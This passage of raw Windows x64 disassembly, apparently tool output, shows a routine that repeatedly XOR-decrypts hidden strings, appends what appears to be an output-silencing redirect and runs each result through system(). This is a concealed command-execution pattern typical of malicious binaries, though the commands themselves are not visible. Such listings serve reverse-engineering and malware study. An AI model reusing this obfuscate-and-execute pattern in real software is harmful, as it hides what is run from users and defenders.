call fcn.140022f20
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x3be0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x3bc0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x3ba0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x3b80]
call fcn.140022f30
nop
lea rcx, [rbp + 0x3b60]
call fcn.140022f30
nop
lea rcx, [rbp + 0x3b40]
call fcn.140022f30
mov edx, 4
lea rcx, [rbp + 0x3c00]
call fcn.140005630
mov rdi, rax
mov edx, 4
lea rcx, [rbp + 0x3c20]
call fcn.140005630
mov rsi, rax
lea rdx, [rbp + 0x55b8]
lea rcx, [rbp - 0x67]
call fcn.14001ede0
mov r10, rax
cmp byte [rax + 0x2c], 0
je 0x14001b7d5
mov r8d, ebx
cmp r14d, 2
jl 0x14001b793
movdqa xmmword [rbp + 0x68d0], xmm10
mov rcx, rax
mov edx, dword [rbp + 0x68d0]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x14001b6a0
cmp r8d, 0x2d
jge 0x14001b7d5
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x14001b7a0
mov r8, rsi
mov rdx, r10
lea rcx, [rbp + 0x3c40]
call fcn.140023e40
nop
lea r8, [0x1400eb294]
mov rdx, rax
lea rcx, [rbp + 0x3c60]
call fcn.140023960
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0x3c80]
call fcn.1400239d0
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rbp + 0x3ca0]
call fcn.140023960
mov rcx, rax
call fcn.140022f20
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x3ca0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x3c80]
call fcn.140022f30
nop
lea rcx, [rbp + 0x3c60]
call fcn.140022f30
nop
lea rcx, [rbp + 0x3c40]
call fcn.140022f30
nop
lea rcx, [rbp + 0x3c20]
call fcn.140022f30
nop
lea rcx, [rbp + 0x3c00]
call fcn.140022f30
mov edx, 4
lea rcx, [rbp + 0x3cc0]
call fcn.140005630
mov rdi, rax
mov edx, 4
lea rcx, [rbp + 0x3ce0]
call fcn.140005630
mov rsi, rax
lea rdx, [rbp + 0x55e8]
lea rcx, [rbp - 0x66]
call fcn.14001ee20
mov r10, rax
cmp byte [rax + 0x2c], 0
je 0x14001ba25
mov r8d, ebx
cmp r14d, 2
jl 0x14001b9e3
movdqa xmmword [rbp + 0x68d0], xmm10
mov rcx, rax
mov edx, dword [rbp + 0x68d0]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x14001b8f0
cmp r8d, 0x2d
jge 0x14001ba25
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x14001b9f0
mov r8, rsi
mov rdx, r10
lea rcx, [rbp + 0x3d00]
call fcn.140023e40
nop
lea r8, [0x1400eb294]
mov rdx, rax
lea rcx, [rbp + 0x3d20]
call fcn.140023960
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0x3d40]
call fcn.1400239d0
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rbp + 0x3d60]
call fcn.140023960
mov rcx, rax
call fcn.140022f20
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x3d60]
call fcn.140022f30
nop
lea rcx, [rbp + 0x3d40]
call fcn.140022f30
nop
lea rcx, [rbp + 0x3d20]
call fcn.140022f30
nop
lea rcx, [rbp + 0x3d00]
call fcn.140022f30
nop
lea rcx, [rbp + 0x3ce0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x3cc0]
call fcn.140022f30
mov edx, 4
lea rcx, [rbp + 0x3d80]
call fcn.140005630
mov rdi, rax
mov edx, 4
lea rcx, [rbp + 0x3da0]
call fcn.140005630
mov rsi, rax
lea rdx, [rbp + 0x5618]
lea rcx, [rbp - 0x65]
call fcn.14001ee60
mov r10, rax
cmp byte [rax + 0x2c], 0
je 0x14001bc75
mov r8d, ebx
cmp r14d, 2
jl 0x14001bc33
movdqa xmmword [rbp + 0x68d0], xmm10
mov rcx, rax
mov edx, dword [rbp + 0x68d0]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x14001bb40
cmp r8d, 0x2d
jge 0x14001bc75
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x14001bc40
mov r8, rsi
mov rdx, r10
lea rcx, [rbp + 0x3dc0]
call fcn.140023e40
nop
lea r8, [0x1400eb294]
mov rdx, rax
lea rcx, [rbp + 0x3de0]
call fcn.140023960
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0x3e00]
call fcn.1400239d0
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rbp + 0x3e20]
call fcn.140023960
mov rcx, rax
call fcn.140022f20
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x3e20]
call fcn.140022f30
nop
lea rcx, [rbp + 0x3e00]
call fcn.140022f30
nop
lea rcx, [rbp + 0x3de0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x3dc0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x3da0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x3d80]
call fcn.140022f30
mov edx, 4
lea rcx, [rbp + 0x3e40]
call fcn.140005630
mov rdi, rax
mov edx, 4
lea rcx, [rbp + 0x3e60]
call fcn.140005630
mov rsi, rax
lea rdx, [rbp + 0x5648]
lea rcx, [rbp - 0x64]
call fcn.14001eea0
mov r10, rax
cmp byte [rax + 0x2c], 0
je 0x14001bec5
mov r8d, ebx
cmp r14d, 2
jl 0x14001be83
movdqa xmmword [rbp + 0x68d0], xmm10
mov rcx, rax
mov edx, dword [rbp + 0x68d0]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x14001bd90
cmp r8d, 0x2d
jge 0x14001bec5
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x14001be90
mov r8, rsi
mov rdx, r10
lea rcx, [rbp + 0x3e80]
call fcn.140023e40
nop
lea r8, [0x1400eb294]
mov rdx, rax
lea rcx, [rbp + 0x3ea0]
call fcn.140023960
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0x3ec0]
call fcn.1400239d0
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rbp + 0x3ee0]
call fcn.140023960
mov rcx, rax
call fcn.140022f20
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x3ee0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x3ec0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x3ea0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x3e80]
call fcn.140022f30
nop
lea rcx, [rbp + 0x3e60]
call fcn.140022f30
nop
lea rcx, [rbp + 0x3e40]
call fcn.140022f30
mov edx, 4
lea rcx, [rbp + 0x3f00]
call fcn.140005630
mov rdi, rax
mov edx, 4
lea rcx, [rbp + 0x3f20]
call fcn.140005630
mov rsi, rax
lea rdx, [rbp + 0x5678]
lea rcx, [rbp - 0x63]
call fcn.14001eee0
mov r10, rax
cmp byte [rax + 0x2c], 0
je 0x14001c115
mov r8d, ebx
cmp r14d, 2
jl 0x14001c0d3
movdqa xmmword [rbp + 0x68d0], xmm10
mov rcx, rax
mov edx, dword [rbp + 0x68d0]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x14001bfe0
cmp r8d, 0x2d
jge 0x14001c115
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x14001c0e0
mov r8, rsi
mov rdx, r10
lea rcx, [rbp + 0x3f40]
call fcn.140023e40
nop
lea r8, [0x1400eb294]
mov rdx, rax
lea rcx, [rbp + 0x3f60]
call fcn.140023960
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0x3f80]
call fcn.1400239d0
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rbp + 0x3fa0]
call fcn.140023960
mov rcx, rax
call fcn.140022f20
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x3fa0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x3f80]
call fcn.140022f30
nop
lea rcx, [rbp + 0x3f60]
call fcn.140022f30
nop
lea rcx, [rbp + 0x3f40]
call fcn.140022f30
nop
lea rcx, [rbp + 0x3f20]
call fcn.140022f30
nop
lea rcx, [rbp + 0x3f00]
call fcn.140022f30
mov edx, 4
lea rcx, [rbp + 0x3fc0]
call fcn.140005630
mov rdi, rax
mov edx, 4
lea rcx, [rbp + 0x3fe0]
call fcn.140005630
mov rsi, rax
lea rdx, [rbp + 0x56a8]
lea rcx, [rbp - 0x62]
call fcn.14001ef20
mov r10, rax
cmp byte [rax + 0x2c], 0
je 0x14001c365
mov r8d, ebx
cmp r14d, 2
jl 0x14001c323
movdqa xmmword [rbp + 0x68d0], xmm10
mov rcx, rax
mov edx, dword [rbp + 0x68d0]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x14001c230
cmp r8d, 0x2d
jge 0x14001c365
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x14001c330
mov r8, rsi
mov rdx, r10
lea rcx, [rbp + 0x4000]
call fcn.140023e40
nop
lea r8, [0x1400eb294]
mov rdx, rax
lea rcx, [rbp + 0x4020]
call fcn.140023960
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0x4040]
call fcn.1400239d0
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rbp + 0x4060]
call fcn.140023960
mov rcx, rax
call fcn.140022f20
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x4060]
call fcn.140022f30
nop
lea rcx, [rbp + 0x4040]
call fcn.140022f30
nop
lea rcx, [rbp + 0x4020]
call fcn.140022f30
nop
lea rcx, [rbp + 0x4000]
call fcn.140022f30
nop
lea rcx, [rbp + 0x3fe0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x3fc0]
call fcn.140022f30
mov edx, 4
lea rcx, [rbp + 0x4080]
call fcn.140005630
mov rdi, rax
mov edx, 4
lea rcx, [rbp + 0x40a0]
call fcn.140005630
mov rsi, rax
lea rdx, [rbp + 0x56d8]
lea rcx, [rbp - 0x61]
call fcn.14001ef60
mov r10, rax
cmp byte [rax + 0x2c], 0
je 0x14001c5b5
mov r8d, ebx
cmp r14d, 2
jl 0x14001c573
movdqa xmmword [rbp + 0x68d0], xmm10
mov rcx, rax
mov edx, dword [rbp + 0x68d0]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x14001c480
cmp r8d, 0x2d
jge 0x14001c5b5
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x14001c580
mov r8, rsi
mov rdx, r10
lea rcx, [rbp + 0x40c0]
call fcn.140023e40
nop
lea r8, [0x1400eb294]
mov rdx, rax
lea rcx, [rbp + 0x40e0]
call fcn.140023960
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0x4100]
call fcn.1400239d0
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rbp + 0x4120]
call fcn.140023960
mov rcx, rax
call fcn.140022f20
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x4120]
call fcn.140022f30
nop
lea rcx, [rbp + 0x4100]
call fcn.140022f30
nop
lea rcx, [rbp + 0x40e0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x40c0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x40a0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x4080]
call fcn.140022f30
mov edx, 4
lea rcx, [rbp + 0x4140]
call fcn.140005630
mov rdi, rax
mov edx, 4
lea rcx, [rbp + 0x4160]
call fcn.140005630
mov rsi, rax
lea rdx, [rbp + 0x5708]
lea rcx, [rbp - 0x60]
call fcn.14001efa0
mov r10, rax
cmp byte [rax + 0x2c], 0
je 0x14001c805
mov r8d, ebx
cmp r14d, 2
jl 0x14001c7c3
movdqa xmmword [rbp + 0x68d0], xmm10
mov rcx, rax
mov edx, dword [rbp + 0x68d0]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x14001c6d0
cmp r8d, 0x2d
jge 0x14001c805
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x14001c7d0
mov r8, rsi
mov rdx, r10
lea rcx, [rbp + 0x4180]
call fcn.140023e40
nop
lea r8, [0x1400eb294]
mov rdx, rax
lea rcx, [rbp + 0x41a0]
call fcn.140023960
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0x41c0]
call fcn.1400239d0
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rbp + 0x41e0]
call fcn.140023960
mov rcx, rax
call fcn.140022f20
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x41e0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x41c0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x41a0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x4180]
call fcn.140022f30
nop
lea rcx, [rbp + 0x4160]
call fcn.140022f30
nop
lea rcx, [rbp + 0x4140]
call fcn.140022f30
mov edx, 4
lea rcx, [rbp + 0x4200]
call fcn.140005630
mov rdi, rax
mov edx, 4
lea rcx, [rbp + 0x4220]
call fcn.140005630
mov rsi, rax
lea rdx, [rbp + 0x5738]
lea rcx, [rbp - 0x5f]
call fcn.14001efe0
mov r10, rax
cmp byte [rax + 0x2c], 0
je 0x14001ca55
mov r8d, ebx
cmp r14d, 2
jl 0x14001ca13
movdqa xmmword [rbp + 0x68d0], xmm10
mov rcx, rax
mov edx, dword [rbp + 0x68d0]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x14001c920
cmp r8d, 0x2d
jge 0x14001ca55
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
